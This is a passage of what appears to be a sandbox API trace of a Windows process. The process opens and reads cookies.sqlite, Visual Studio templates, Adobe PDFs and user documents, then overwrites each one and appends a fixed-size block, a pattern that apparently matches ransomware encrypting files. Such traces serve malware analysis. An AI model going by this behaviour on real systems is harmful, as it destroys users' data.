lpWideCharStr="cookies.sqlite", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0033.802] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cookies.sqlite", cchWideChar=14, lpMultiByteStr=0x1e62fec, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cookies.sqlite", lpUsedDefaultChar=0x0) returned 14 [0033.802] ReadFile (in: hFile=0x1a0, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x340f278*=0x8000, lpOverlapped=0x0) returned 1 [0034.020] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x7f000 [0034.020] ReadFile (in: hFile=0x1a0, lpBuffer=0x25c3da8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0034.021] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x7f000 [0034.021] WriteFile (in: hFile=0x1a0, lpBuffer=0x27723b8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x27723b8*, lpNumberOfBytesWritten=0x340f28c*=0x1588, lpOverlapped=0x0) returned 1 [0034.336] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0034.336] WriteFile (in: hFile=0x1a0, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x340f28c*=0x8000, lpOverlapped=0x0) returned 1 [0034.337] CloseHandle (hObject=0x1a0) returned 1 [0034.377] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\AboutBox.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\aboutbox.zip"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a0 [0034.377] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0034.377] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x8b52 [0034.377] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0034.377] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0034.377] ReleaseMutex (hMutex=0x128) returned 1 [0034.377] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AboutBox.zip", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0034.377] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AboutBox.zip", cchWideChar=12, lpMultiByteStr=0x1e6320c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AboutBox.zip", lpUsedDefaultChar=0x0) returned 12 [0034.378] ReadFile (in: hFile=0x1a0, lpBuffer=0x1de8de8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1de8de8*, lpNumberOfBytesRead=0x340f278*=0x4000, lpOverlapped=0x0) returned 1 [0034.388] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x7b52 [0034.388] ReadFile (in: hFile=0x1a0, lpBuffer=0x2772188, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x2772188*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0034.411] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x7b52 [0034.412] WriteFile (in: hFile=0x1a0, lpBuffer=0x280e3b8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x280e3b8*, lpNumberOfBytesWritten=0x340f28c*=0x1588, lpOverlapped=0x0) returned 1 [0034.412] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0034.412] WriteFile (in: hFile=0x1a0, lpBuffer=0x1da3ea8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesWritten=0x340f28c*=0x4000, lpOverlapped=0x0) returned 1 [0034.412] CloseHandle (hObject=0x1a0) returned 1 [0034.413] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\Interface.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\interface.zip"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a0 [0034.414] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0034.415] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x303 [0034.415] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0034.415] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0034.415] ReleaseMutex (hMutex=0x128) returned 1 [0034.415] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Interface.zip", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0034.415] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Interface.zip", cchWideChar=13, lpMultiByteStr=0x1e6314c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Interface.zip", lpUsedDefaultChar=0x0) returned 13 [0034.415] ReadFile (in: hFile=0x1a0, lpBuffer=0x275b028, nNumberOfBytesToRead=0x303, lpNumberOfBytesRead=0x340f2bc, lpOverlapped=0x0 | out: lpBuffer=0x275b028*, lpNumberOfBytesRead=0x340f2bc*=0x303, lpOverlapped=0x0) returned 1 [0034.425] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f300*=0) returned 0x0 [0034.425] WriteFile (in: hFile=0x1a0, lpBuffer=0x27ac368*, nNumberOfBytesToWrite=0x88b, lpNumberOfBytesWritten=0x340f2d0, lpOverlapped=0x0 | out: lpBuffer=0x27ac368*, lpNumberOfBytesWritten=0x340f2d0*=0x88b, lpOverlapped=0x0) returned 1 [0034.425] CloseHandle (hObject=0x1a0) returned 1 [0034.427] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\AppConfigurationInternal.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\appconfigurationinternal.zip"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a0 [0034.427] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0034.427] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x45d [0034.427] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0034.427] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0034.427] ReleaseMutex (hMutex=0x128) returned 1 [0034.427] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AppConfigurationInternal.zip", cchWideChar=28, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 28 [0034.427] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AppConfigurationInternal.zip", cchWideChar=28, lpMultiByteStr=0x1e7faec, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AppConfigurationInternal.zip", lpUsedDefaultChar=0x0) returned 28 [0034.427] ReadFile (in: hFile=0x1a0, lpBuffer=0x2624cc8, nNumberOfBytesToRead=0x45d, lpNumberOfBytesRead=0x340f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2624cc8*, lpNumberOfBytesRead=0x340f2bc*=0x45d, lpOverlapped=0x0) returned 1 [0034.439] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f300*=0) returned 0x0 [0034.439] WriteFile (in: hFile=0x1a0, lpBuffer=0x1de0dd8*, nNumberOfBytesToWrite=0x9e5, lpNumberOfBytesWritten=0x340f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1de0dd8*, lpNumberOfBytesWritten=0x340f2d0*=0x9e5, lpOverlapped=0x0) returned 1 [0034.439] CloseHandle (hObject=0x1a0) returned 1 [0034.441] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\Module.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\module.zip"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a0 [0034.441] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0034.441] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x24f [0034.441] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0034.441] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0034.441] ReleaseMutex (hMutex=0x128) returned 1 [0034.441] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Module.zip", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0034.441] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Module.zip", cchWideChar=10, lpMultiByteStr=0x1e631cc, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Module.zip", lpUsedDefaultChar=0x0) returned 10 [0034.441] ReadFile (in: hFile=0x1a0, lpBuffer=0x1e54c78, nNumberOfBytesToRead=0x24f, lpNumberOfBytesRead=0x340f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e54c78*, lpNumberOfBytesRead=0x340f2bc*=0x24f, lpOverlapped=0x0) returned 1 [0034.442] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f300*=0) returned 0x0 [0034.442] WriteFile (in: hFile=0x1a0, lpBuffer=0x1dc0738*, nNumberOfBytesToWrite=0x7d7, lpNumberOfBytesWritten=0x340f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dc0738*, lpNumberOfBytesWritten=0x340f2d0*=0x7d7, lpOverlapped=0x0) returned 1 [0034.443] CloseHandle (hObject=0x1a0) returned 1 [0034.443] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\AYMdR8qxGSd3dzB.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\aymdr8qxgsd3dzb.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a0 [0034.444] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0034.444] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x9990 [0034.444] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0034.444] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0034.444] ReleaseMutex (hMutex=0x128) returned 1 [0034.444] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AYMdR8qxGSd3dzB.xlsx", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0034.444] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AYMdR8qxGSd3dzB.xlsx", cchWideChar=20, lpMultiByteStr=0x1e78b7c, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AYMdR8qxGSd3dzB.xlsx", lpUsedDefaultChar=0x0) returned 20 [0034.444] ReadFile (in: hFile=0x1a0, lpBuffer=0x1dae208, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1dae208*, lpNumberOfBytesRead=0x340f278*=0x4000, lpOverlapped=0x0) returned 1 [0034.445] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x8990 [0034.445] ReadFile (in: hFile=0x1a0, lpBuffer=0x280e3b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x280e3b8*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0034.445] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x8990 [0034.445] WriteFile (in: hFile=0x1a0, lpBuffer=0x280e3b8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x280e3b8*, lpNumberOfBytesWritten=0x340f28c*=0x1588, lpOverlapped=0x0) returned 1 [0034.446] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0034.446] WriteFile (in: hFile=0x1a0, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x340f28c*=0x4000, lpOverlapped=0x0) returned 1 [0034.446] CloseHandle (hObject=0x1a0) returned 1 [0034.447] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Csm9.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\csm9.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a0 [0034.447] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0034.447] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0xf70b [0034.447] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0034.447] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0034.447] ReleaseMutex (hMutex=0x128) returned 1 [0034.447] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Csm9.docx", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0034.447] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Csm9.docx", cchWideChar=9, lpMultiByteStr=0x1e6334c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Csm9.docx", lpUsedDefaultChar=0x0) returned 9 [0034.447] ReadFile (in: hFile=0x1a0, lpBuffer=0x1dae208, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1dae208*, lpNumberOfBytesRead=0x340f278*=0x4000, lpOverlapped=0x0) returned 1 [0034.448] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0xe70b [0034.448] ReadFile (in: hFile=0x1a0, lpBuffer=0x280e3b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x280e3b8*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0034.448] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0xe70b [0034.448] WriteFile (in: hFile=0x1a0, lpBuffer=0x280e3b8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x280e3b8*, lpNumberOfBytesWritten=0x340f28c*=0x1588, lpOverlapped=0x0) returned 1 [0034.448] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0034.448] WriteFile (in: hFile=0x1a0, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x340f28c*=0x4000, lpOverlapped=0x0) returned 1 [0034.449] CloseHandle (hObject=0x1a0) returned 1 [0034.450] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\KR-jP1j.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\kr-jp1j.doc"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a0 [0034.450] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0034.450] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x1e15 [0034.450] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0034.450] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0034.450] ReleaseMutex (hMutex=0x128) returned 1 [0034.450] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="KR-jP1j.doc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0034.450] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="KR-jP1j.doc", cchWideChar=11, lpMultiByteStr=0x1e6320c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KR-jP1j.doc", lpUsedDefaultChar=0x0) returned 11 [0034.450] ReadFile (in: hFile=0x1a0, lpBuffer=0x25c7dd8, nNumberOfBytesToRead=0x1e15, lpNumberOfBytesRead=0x340f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesRead=0x340f2bc*=0x1e15, lpOverlapped=0x0) returned 1 [0034.451] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f300*=0) returned 0x0 [0034.451] WriteFile (in: hFile=0x1a0, lpBuffer=0x2771158*, nNumberOfBytesToWrite=0x239d, lpNumberOfBytesWritten=0x340f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2771158*, lpNumberOfBytesWritten=0x340f2d0*=0x239d, lpOverlapped=0x0) returned 1 [0034.452] CloseHandle (hObject=0x1a0) returned 1 [0034.452] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CHS\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\chs\\adobeid.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a0 [0034.453] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0034.453] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x20cc1 [0034.453] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0034.453] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0034.453] ReleaseMutex (hMutex=0x128) returned 1 [0034.453] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0034.453] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x1e631cc, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeID.pdf", lpUsedDefaultChar=0x0) returned 11 [0034.453] ReadFile (in: hFile=0x1a0, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x340f278*=0x8000, lpOverlapped=0x0) returned 1 [0034.474] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x1fcc1 [0034.474] ReadFile (in: hFile=0x1a0, lpBuffer=0x280e3b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x280e3b8*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0034.491] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x1fcc1 [0034.492] WriteFile (in: hFile=0x1a0, lpBuffer=0x280e3b8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x280e3b8*, lpNumberOfBytesWritten=0x340f28c*=0x1588, lpOverlapped=0x0) returned 1 [0034.493] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0034.493] WriteFile (in: hFile=0x1a0, lpBuffer=0x27f1bf8*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x27f1bf8*, lpNumberOfBytesWritten=0x340f28c*=0x8000, lpOverlapped=0x0) returned 1 [0034.493] CloseHandle (hObject=0x1a0) returned 1 [0034.495] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ENU\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\enu\\adobeid.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a0 [0034.495] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, 